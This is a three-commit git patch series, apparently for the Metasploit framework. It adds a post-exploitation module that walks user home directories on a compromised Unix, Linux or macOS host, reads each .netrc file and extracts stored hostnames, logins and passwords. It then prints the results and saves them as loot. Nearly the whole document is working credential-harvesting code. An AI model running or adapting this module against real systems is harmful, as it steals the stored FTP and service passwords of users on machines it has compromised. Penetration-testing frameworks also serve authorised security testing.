From 37d467ea79a35f09ac44d9a48c4c3dd664119167 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 29 Jan 2012 14:03:57 -0800 Subject: [PATCH 1/3] Loot .netrc files, generic enum_user_directories --- lib/msf/core/post/unix/enum_user_dirs.rb | 33 +++++++++++ modules/post/multi/gather/netrc_creds.rb | 75 ++++++++++++++++++++++++ 2 files changed, 108 insertions(+) create mode 100644 lib/msf/core/post/unix/enum_user_dirs.rb create mode 100644 modules/post/multi/gather/netrc_creds.rb diff --git a/lib/msf/core/post/unix/enum_user_dirs.rb b/lib/msf/core/post/unix/enum_user_dirs.rb new file mode 100644 index 0000000000..0bd7768d8c --- /dev/null +++ b/lib/msf/core/post/unix/enum_user_dirs.rb @@ -0,0 +1,33 @@ +module Msf +class Post +module Unix + include ::Msf::Post::Common + + # returns all user directories found + def enum_user_directories + user_dirs = [] + + # get all user directories from /etc/passwd + read_file("/etc/passwd").each_line do |passwd_line| + user_dirs << passwd_line.split(/:/)[5] + end + + # also list other common places for home directories in the event that + # the users aren't in /etc/passwd (LDAP, for example) + case session.platform + when 'osx' + user_dirs << cmd_exec('ls /Users').each_line.map { |l| "/Users/#{l}" } + else + user_dirs << cmd_exec('ls /home').each_line.map { |l| "/home/#{l}" } + end + + user_dirs.flatten! + user_dirs.sort! + user_dirs.uniq! + user_dirs.compact! + + user_dirs + end +end +end +end diff --git a/modules/post/multi/gather/netrc_creds.rb b/modules/post/multi/gather/netrc_creds.rb new file mode 100644 index 0000000000..aaf06d3ef8 --- /dev/null +++ b/modules/post/multi/gather/netrc_creds.rb @@ -0,0 +1,75 @@ +require 'msf/core' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix/enum_user_dirs' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info={}) + super( update_info( info, + 'Name' => 'UNIX Gather credentials saved in .netrc files', + 'Description' => %q{Post Module to obtain credentials saved for FTP and other services in .netrc}, + 'License' => MSF_LICENSE, + 'Author' => [ 'Jon Hart ' ], + 'Platform' => [ 'bsd', 'linux', 'osx', 'unix' ], + 'SessionTypes' => [ 'shell' ] + )) + end + + def run + creds = [] + # walk through each user directory + enum_user_directories.each do |user_dir| + netrc_file = user_dir + "/.netrc" + cred = { :file => netrc_file } + # read their .netrc + cmd_exec("test -r #{netrc_file} && cat #{netrc_file}").each_line do |netrc_line| + # parse it + netrc_line.strip! + # get the machine name + if (netrc_line =~ /machine (\S+)/) + # if we've already found a machine, save this cred and start over + if (cred[:host]) + creds << cred + cred = { :file => netrc_file } + end + cred[:host] = $1 + end + # get the user name + if (netrc_line =~ /login (\S+)/) + cred[:user] = $1 + end + # get the password + if (netrc_line =~ /password (\S+)/) + cred[:pass] = $1 + end + end + # save whatever remains of this last cred if it is worth saving + creds << cred if (cred[:host] and cred[:user] and cred[:pass]) + end + + # store all found credentials + creds.each do |cred| + report_netrc_creds(cred, cred[:file]) + end + end + + # Report FTP auth info +auth+ found in +file+ + def report_netrc_creds(auth, file) + # report if we found something + if (auth[:host] and (auth[:user] or auth[:pass])) + auth = { + :port => 21, + :sname => 'ftp', + :type => 'password', + :active => true + }.merge(auth) + report_auth_info(auth) + print_good("FTP credentials: user=#{auth[:user]}, pass=#{auth[:pass]}, host=#{auth[:host]} from #{file}") + end + end +end From 16610d8852679db6b87f32df1f1e2df22b851732 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 30 Jan 2012 08:05:08 -0800 Subject: [PATCH 2/3] Update email address to use desired [at] format --- modules/post/multi/gather/netrc_creds.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/gather/netrc_creds.rb b/modules/post/multi/gather/netrc_creds.rb index aaf06d3ef8..335516b055 100644 --- a/modules/post/multi/gather/netrc_creds.rb +++ b/modules/post/multi/gather/netrc_creds.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Post 'Name' => 'UNIX Gather credentials saved in .netrc files', 'Description' => %q{Post Module to obtain credentials saved for FTP and other services in .netrc}, 'License' => MSF_LICENSE, - 'Author' => [ 'Jon Hart ' ], + 'Author' => [ 'Jon Hart ' ], 'Platform' => [ 'bsd', 'linux', 'osx', 'unix' ], 'SessionTypes' => [ 'shell' ] )) From b0df29c3ffae9cc58689ccde134d999292c91aa0 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 30 Jan 2012 23:08:02 -0800 Subject: [PATCH 3/3] Switch to store_loot, since report_auth_info only works with Host objects or IPs, currently (see https://dev.metasploit.com/redmine/issues/6313) --- modules/post/multi/gather/netrc_creds.rb | 80 +++++++++++++----------- 1 file changed, 44 insertions(+), 36 deletions(-) diff --git a/modules/post/multi/gather/netrc_creds.rb b/modules/post/multi/gather/netrc_creds.rb index 335516b055..69b7852593 100644 --- a/modules/post/multi/gather/netrc_creds.rb +++ b/modules/post/multi/gather/netrc_creds.rb @@ -21,55 +21,63 @@ class Metasploit3 < Msf::Post end def run + # A table to store the found credentials. + cred_table = Rex::Ui::Text::Table.new( + 'Header' => ".netrc credentials", + 'Indent' => 1, + 'Columns' => + [ + "Username", + "Password", + "Server", + ]) + + # all of the credentials we've found from .netrc creds = [] + # walk through each user directory enum_user_directories.each do |user_dir| netrc_file = user_dir + "/.netrc" - cred = { :file => netrc_file } - # read their .netrc - cmd_exec("test -r #{netrc_file} && cat #{netrc_file}").each_line do |netrc_line| - # parse it - netrc_line.strip! - # get the machine name - if (netrc_line =~ /machine (\S+)/) - # if we've already found a machine, save this cred and start over - if (cred[:host]) - creds << cred - cred = { :file => netrc_file } + # the current credential from .netrc we are parsing + cred = {} + begin + # read their .netrc + cmd_exec("test -r #{netrc_file} && cat #{netrc_file}").each_line do |netrc_line| + # parse it + netrc_line.strip! + # get the machine name + if (netrc_line =~ /machine (\S+)/) + # if we've already found a machine, save this cred and start over + if (cred[:host]) + creds << cred + cred = {} + end + cred[:host] = $1 + end + # get the user name + if (netrc_line =~ /login (\S+)/) + cred[:user] = $1 + end + # get the password + if (netrc_line =~ /password (\S+)/) + cred[:pass] = $1 end - cred[:host] = $1 - end - # get the user name - if (netrc_line =~ /login (\S+)/) - cred[:user] = $1 - end - # get the password - if (netrc_line =~ /password (\S+)/) - cred[:pass] = $1 end + rescue ::Exception => e + print_error("Couldn't read #{netrc_file}: #{e.to_s}") end # save whatever remains of this last cred if it is worth saving creds << cred if (cred[:host] and cred[:user] and cred[:pass]) end - # store all found credentials + # print out everything we've found creds.each do |cred| - report_netrc_creds(cred, cred[:file]) + cred_table << [ cred[:user], cred[:pass], cred[:host] ] + print_good("netrc (FTP) credentials: user=#{cred[:user]}, pass=#{cred[:pass]}, host=#{cred[:host]}") end + + # store all found credentials + store_loot("netrc.creds", "text/csv", session, creds.to_csv, "netrc_credentials.txt", ".netrc credentials") end - # Report FTP auth info +auth+ found in +file+ - def report_netrc_creds(auth, file) - # report if we found something - if (auth[:host] and (auth[:user] or auth[:pass])) - auth = { - :port => 21, - :sname => 'ftp', - :type => 'password', - :active => true - }.merge(auth) - report_auth_info(auth) - print_good("FTP credentials: user=#{auth[:user]}, pass=#{auth[:pass]}, host=#{auth[:host]} from #{file}") - end - end end